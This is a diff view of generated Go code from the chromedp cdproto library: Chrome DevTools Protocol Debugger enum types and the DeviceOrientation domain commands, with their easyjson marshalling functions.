// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ScriptLanguage) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ScriptLanguage(in.String()) {
case ScriptLanguageJavaScript:
*t = ScriptLanguageJavaScript
case ScriptLanguageWebAssembly:
*t = ScriptLanguageWebAssembly
default:
in.AddError(errors.New("unknown ScriptLanguage value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ScriptLanguage) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// DebugSymbols debug symbols available for a wasm script.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-DebugSymbols
type DebugSymbols struct {
Type DebugSymbolsType `json:"type"` // Type of the debug symbols.
ExternalURL string `json:"externalURL,omitempty"` // URL of the external symbol source.
}
// ScopeType scope type.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-Scope
type ScopeType string
// String returns the ScopeType as string value.
func (t ScopeType) String() string {
return string(t)
}
// ScopeType values.
const (
ScopeTypeGlobal ScopeType = "global"
ScopeTypeLocal ScopeType = "local"
ScopeTypeWith ScopeType = "with"
ScopeTypeClosure ScopeType = "closure"
ScopeTypeCatch ScopeType = "catch"
ScopeTypeBlock ScopeType = "block"
ScopeTypeScript ScopeType = "script"
ScopeTypeEval ScopeType = "eval"
ScopeTypeModule ScopeType = "module"
ScopeTypeWasmExpressionStack ScopeType = "wasm-expression-stack"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ScopeType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ScopeType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ScopeType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ScopeType(in.String()) {
case ScopeTypeGlobal:
*t = ScopeTypeGlobal
case ScopeTypeLocal:
*t = ScopeTypeLocal
case ScopeTypeWith:
*t = ScopeTypeWith
case ScopeTypeClosure:
*t = ScopeTypeClosure
case ScopeTypeCatch:
*t = ScopeTypeCatch
case ScopeTypeBlock:
*t = ScopeTypeBlock
case ScopeTypeScript:
*t = ScopeTypeScript
case ScopeTypeEval:
*t = ScopeTypeEval
case ScopeTypeModule:
*t = ScopeTypeModule
case ScopeTypeWasmExpressionStack:
*t = ScopeTypeWasmExpressionStack
default:
in.AddError(errors.New("unknown ScopeType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ScopeType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// BreakLocationType [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-BreakLocation
type BreakLocationType string
// String returns the BreakLocationType as string value.
func (t BreakLocationType) String() string {
return string(t)
}
// BreakLocationType values.
const (
BreakLocationTypeDebuggerStatement BreakLocationType = "debuggerStatement"
BreakLocationTypeCall BreakLocationType = "call"
BreakLocationTypeReturn BreakLocationType = "return"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t BreakLocationType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t BreakLocationType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *BreakLocationType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch BreakLocationType(in.String()) {
case BreakLocationTypeDebuggerStatement:
*t = BreakLocationTypeDebuggerStatement
case BreakLocationTypeCall:
*t = BreakLocationTypeCall
case BreakLocationTypeReturn:
*t = BreakLocationTypeReturn
default:
in.AddError(errors.New("unknown BreakLocationType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *BreakLocationType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// DebugSymbolsType type of the debug symbols.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#type-DebugSymbols
type DebugSymbolsType string
// String returns the DebugSymbolsType as string value.
func (t DebugSymbolsType) String() string {
return string(t)
}
// DebugSymbolsType values.
const (
DebugSymbolsTypeNone DebugSymbolsType = "None"
DebugSymbolsTypeSourceMap DebugSymbolsType = "SourceMap"
DebugSymbolsTypeEmbeddedDWARF DebugSymbolsType = "EmbeddedDWARF"
DebugSymbolsTypeExternalDWARF DebugSymbolsType = "ExternalDWARF"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t DebugSymbolsType) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t DebugSymbolsType) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *DebugSymbolsType) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch DebugSymbolsType(in.String()) {
case DebugSymbolsTypeNone:
*t = DebugSymbolsTypeNone
case DebugSymbolsTypeSourceMap:
*t = DebugSymbolsTypeSourceMap
case DebugSymbolsTypeEmbeddedDWARF:
*t = DebugSymbolsTypeEmbeddedDWARF
case DebugSymbolsTypeExternalDWARF:
*t = DebugSymbolsTypeExternalDWARF
default:
in.AddError(errors.New("unknown DebugSymbolsType value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *DebugSymbolsType) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// PausedReason pause reason.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#event-paused
type PausedReason string
// String returns the PausedReason as string value.
func (t PausedReason) String() string {
return string(t)
}
// PausedReason values.
const (
PausedReasonAmbiguous PausedReason = "ambiguous"
PausedReasonAssert PausedReason = "assert"
PausedReasonCSPViolation PausedReason = "CSPViolation"
PausedReasonDebugCommand PausedReason = "debugCommand"
PausedReasonDOM PausedReason = "DOM"
PausedReasonEventListener PausedReason = "EventListener"
PausedReasonException PausedReason = "exception"
PausedReasonInstrumentation PausedReason = "instrumentation"
PausedReasonOOM PausedReason = "OOM"
PausedReasonOther PausedReason = "other"
PausedReasonPromiseRejection PausedReason = "promiseRejection"
PausedReasonXHR PausedReason = "XHR"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t PausedReason) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t PausedReason) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *PausedReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch PausedReason(in.String()) {
case PausedReasonAmbiguous:
*t = PausedReasonAmbiguous
case PausedReasonAssert:
*t = PausedReasonAssert
case PausedReasonCSPViolation:
*t = PausedReasonCSPViolation
case PausedReasonDebugCommand:
*t = PausedReasonDebugCommand
case PausedReasonDOM:
*t = PausedReasonDOM
case PausedReasonEventListener:
*t = PausedReasonEventListener
case PausedReasonException:
*t = PausedReasonException
case PausedReasonInstrumentation:
*t = PausedReasonInstrumentation
case PausedReasonOOM:
*t = PausedReasonOOM
case PausedReasonOther:
*t = PausedReasonOther
case PausedReasonPromiseRejection:
*t = PausedReasonPromiseRejection
case PausedReasonXHR:
*t = PausedReasonXHR
default:
in.AddError(errors.New("unknown PausedReason value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *PausedReason) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ContinueToLocationTargetCallFrames [no description].
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-continueToLocation
type ContinueToLocationTargetCallFrames string
// String returns the ContinueToLocationTargetCallFrames as string value.
func (t ContinueToLocationTargetCallFrames) String() string {
return string(t)
}
// ContinueToLocationTargetCallFrames values.
const (
ContinueToLocationTargetCallFramesAny ContinueToLocationTargetCallFrames = "any"
ContinueToLocationTargetCallFramesCurrent ContinueToLocationTargetCallFrames = "current"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ContinueToLocationTargetCallFrames) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ContinueToLocationTargetCallFrames) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ContinueToLocationTargetCallFrames) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ContinueToLocationTargetCallFrames(in.String()) {
case ContinueToLocationTargetCallFramesAny:
*t = ContinueToLocationTargetCallFramesAny
case ContinueToLocationTargetCallFramesCurrent:
*t = ContinueToLocationTargetCallFramesCurrent
default:
in.AddError(errors.New("unknown ContinueToLocationTargetCallFrames value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ContinueToLocationTargetCallFrames) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// RestartFrameMode the mode parameter must be present and set to 'StepInto',
// otherwise restartFrame will error out.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-restartFrame
type RestartFrameMode string
// String returns the RestartFrameMode as string value.
func (t RestartFrameMode) String() string {
return string(t)
}
// RestartFrameMode values.
const (
RestartFrameModeStepInto RestartFrameMode = "StepInto"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t RestartFrameMode) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t RestartFrameMode) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *RestartFrameMode) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch RestartFrameMode(in.String()) {
case RestartFrameModeStepInto:
*t = RestartFrameModeStepInto
default:
in.AddError(errors.New("unknown RestartFrameMode value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *RestartFrameMode) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// SetInstrumentationBreakpointInstrumentation instrumentation name.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setInstrumentationBreakpoint
type SetInstrumentationBreakpointInstrumentation string
// String returns the SetInstrumentationBreakpointInstrumentation as string value.
func (t SetInstrumentationBreakpointInstrumentation) String() string {
return string(t)
}
// SetInstrumentationBreakpointInstrumentation values.
const (
SetInstrumentationBreakpointInstrumentationBeforeScriptExecution SetInstrumentationBreakpointInstrumentation = "beforeScriptExecution"
SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution SetInstrumentationBreakpointInstrumentation = "beforeScriptWithSourceMapExecution"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t SetInstrumentationBreakpointInstrumentation) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t SetInstrumentationBreakpointInstrumentation) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetInstrumentationBreakpointInstrumentation(in.String()) {
case SetInstrumentationBreakpointInstrumentationBeforeScriptExecution:
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptExecution
case SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution:
*t = SetInstrumentationBreakpointInstrumentationBeforeScriptWithSourceMapExecution
default:
in.AddError(errors.New("unknown SetInstrumentationBreakpointInstrumentation value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *SetInstrumentationBreakpointInstrumentation) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// ExceptionsState pause on exceptions mode.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setPauseOnExceptions
type ExceptionsState string
// String returns the ExceptionsState as string value.
func (t ExceptionsState) String() string {
return string(t)
}
// ExceptionsState values.
const (
ExceptionsStateNone ExceptionsState = "none"
ExceptionsStateUncaught ExceptionsState = "uncaught"
ExceptionsStateAll ExceptionsState = "all"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t ExceptionsState) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t ExceptionsState) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *ExceptionsState) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch ExceptionsState(in.String()) {
case ExceptionsStateNone:
*t = ExceptionsStateNone
case ExceptionsStateUncaught:
*t = ExceptionsStateUncaught
case ExceptionsStateAll:
*t = ExceptionsStateAll
default:
in.AddError(errors.New("unknown ExceptionsState value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *ExceptionsState) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
// SetScriptSourceStatus whether the operation was successful or not. Only Ok
// denotes a successful live edit while the other enum variants denote why the
// live edit failed.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/Debugger#method-setScriptSource
type SetScriptSourceStatus string
// String returns the SetScriptSourceStatus as string value.
func (t SetScriptSourceStatus) String() string {
return string(t)
}
// SetScriptSourceStatus values.
const (
SetScriptSourceStatusOk SetScriptSourceStatus = "Ok"
SetScriptSourceStatusCompileError SetScriptSourceStatus = "CompileError"
SetScriptSourceStatusBlockedByActiveGenerator SetScriptSourceStatus = "BlockedByActiveGenerator"
SetScriptSourceStatusBlockedByActiveFunction SetScriptSourceStatus = "BlockedByActiveFunction"
)
// MarshalEasyJSON satisfies easyjson.Marshaler.
func (t SetScriptSourceStatus) MarshalEasyJSON(out *jwriter.Writer) {
out.String(string(t))
}
// MarshalJSON satisfies json.Marshaler.
func (t SetScriptSourceStatus) MarshalJSON() ([]byte, error) {
return easyjson.Marshal(t)
}
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
func (t *SetScriptSourceStatus) UnmarshalEasyJSON(in *jlexer.Lexer) {
switch SetScriptSourceStatus(in.String()) {
case SetScriptSourceStatusOk:
*t = SetScriptSourceStatusOk
case SetScriptSourceStatusCompileError:
*t = SetScriptSourceStatusCompileError
case SetScriptSourceStatusBlockedByActiveGenerator:
*t = SetScriptSourceStatusBlockedByActiveGenerator
case SetScriptSourceStatusBlockedByActiveFunction:
*t = SetScriptSourceStatusBlockedByActiveFunction
default:
in.AddError(errors.New("unknown SetScriptSourceStatus value"))
}
}
// UnmarshalJSON satisfies json.Unmarshaler.
func (t *SetScriptSourceStatus) UnmarshalJSON(buf []byte) error {
return easyjson.Unmarshal(buf, t)
}
@@ -0,0 +1,64 @@
// Package deviceorientation provides the Chrome DevTools Protocol
// commands, types, and events for the DeviceOrientation domain.
//
// Generated by the cdproto-gen command.
package deviceorientation
// Code generated by cdproto-gen. DO NOT EDIT.
import (
"context"
"github.com/chromedp/cdproto/cdp"
)
// ClearDeviceOrientationOverrideParams clears the overridden Device
// Orientation.
type ClearDeviceOrientationOverrideParams struct{}
// ClearDeviceOrientationOverride clears the overridden Device Orientation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceOrientation#method-clearDeviceOrientationOverride
func ClearDeviceOrientationOverride() *ClearDeviceOrientationOverrideParams {
return &ClearDeviceOrientationOverrideParams{}
}
// Do executes DeviceOrientation.clearDeviceOrientationOverride against the provided context.
func (p *ClearDeviceOrientationOverrideParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandClearDeviceOrientationOverride, nil, nil)
}
// SetDeviceOrientationOverrideParams overrides the Device Orientation.
type SetDeviceOrientationOverrideParams struct {
Alpha float64 `json:"alpha"` // Mock alpha
Beta float64 `json:"beta"` // Mock beta
Gamma float64 `json:"gamma"` // Mock gamma
}
// SetDeviceOrientationOverride overrides the Device Orientation.
//
// See: https://chromedevtools.github.io/devtools-protocol/tot/DeviceOrientation#method-setDeviceOrientationOverride
//
// parameters:
//
// alpha - Mock alpha
// beta - Mock beta
// gamma - Mock gamma
func SetDeviceOrientationOverride(alpha float64, beta float64, gamma float64) *SetDeviceOrientationOverrideParams {
return &SetDeviceOrientationOverrideParams{
Alpha: alpha,
Beta: beta,
Gamma: gamma,
}
}
// Do executes DeviceOrientation.setDeviceOrientationOverride against the provided context.
func (p *SetDeviceOrientationOverrideParams) Do(ctx context.Context) (err error) {
return cdp.Execute(ctx, CommandSetDeviceOrientationOverride, p, nil)
}
// Command names.
const (
CommandClearDeviceOrientationOverride = "DeviceOrientation.clearDeviceOrientationOverride"
CommandSetDeviceOrientationOverride = "DeviceOrientation.setDeviceOrientationOverride"
)
+158
View File
@@ -0,0 +1,158 @@
// Code generated by easyjson for marshaling/unmarshaling. DO NOT EDIT.
package deviceorientation
import (
json "encoding/json"
easyjson "github.com/mailru/easyjson"
jlexer "github.com/mailru/easyjson/jlexer"
jwriter "github.com/mailru/easyjson/jwriter"
)
// suppress unused package warning
var (
_ *json.RawMessage
_ *jlexer.Lexer
_ *jwriter.Writer
_ easyjson.Marshaler
)
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(in *jlexer.Lexer, out *SetDeviceOrientationOverrideParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
case "alpha":
out.Alpha = float64(in.Float64())
case "beta":
out.Beta = float64(in.Float64())
case "gamma":
out.Gamma = float64(in.Float64())
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(out *jwriter.Writer, in SetDeviceOrientationOverrideParams) {
out.RawByte('{')
first := true
_ = first
{
const prefix string = ",\"alpha\":"
out.RawString(prefix[1:])
out.Float64(float64(in.Alpha))
}
{
const prefix string = ",\"beta\":"
out.RawString(prefix)
out.Float64(float64(in.Beta))
}
{
const prefix string = ",\"gamma\":"
out.RawString(prefix)
out.Float64(float64(in.Gamma))
}
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v SetDeviceOrientationOverrideParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v SetDeviceOrientationOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *SetDeviceOrientationOverrideParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *SetDeviceOrientationOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation(l, v)
}
func easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(in *jlexer.Lexer, out *ClearDeviceOrientationOverrideParams) {
isTopLevel := in.IsStart()
if in.IsNull() {
if isTopLevel {
in.Consumed()
}
in.Skip()
return
}
in.Delim('{')
for !in.IsDelim('}') {
key := in.UnsafeFieldName(false)
in.WantColon()
if in.IsNull() {
in.Skip()
in.WantComma()
continue
}
switch key {
default:
in.SkipRecursive()
}
in.WantComma()
}
in.Delim('}')
if isTopLevel {
in.Consumed()
}
}
func easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(out *jwriter.Writer, in ClearDeviceOrientationOverrideParams) {
out.RawByte('{')
first := true
_ = first
out.RawByte('}')
}
// MarshalJSON supports json.Marshaler interface
func (v ClearDeviceOrientationOverrideParams) MarshalJSON() ([]byte, error) {
w := jwriter.Writer{}
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(&w, v)
return w.Buffer.BuildBytes(), w.Error
}
// MarshalEasyJSON supports easyjson.Marshaler interface
func (v ClearDeviceOrientationOverrideParams) MarshalEasyJSON(w *jwriter.Writer) {
easyjsonC5a4559bEncodeGithubComChromedpCdprotoDeviceorientation1(w, v)
}
// UnmarshalJSON supports json.Unmarshaler interface
func (v *ClearDeviceOrientationOverrideParams) UnmarshalJSON(data []byte) error {
r := jlexer.Lexer{Data: data}
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(&r, v)
return r.Error()
}
// UnmarshalEasyJSON supports easyjson.Unmarshaler interface
func (v *ClearDeviceOrientationOverrideParams) UnmarshalEasyJSON(l *jlexer.Lexer) {
easyjsonC5a4559bDecodeGithubComChromedpCdprotoDeviceorientation1(l, v)
}
+1889
View File
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
Loaded 100 of 486 files, more files were not shown because too many files have changed in this diff. Show more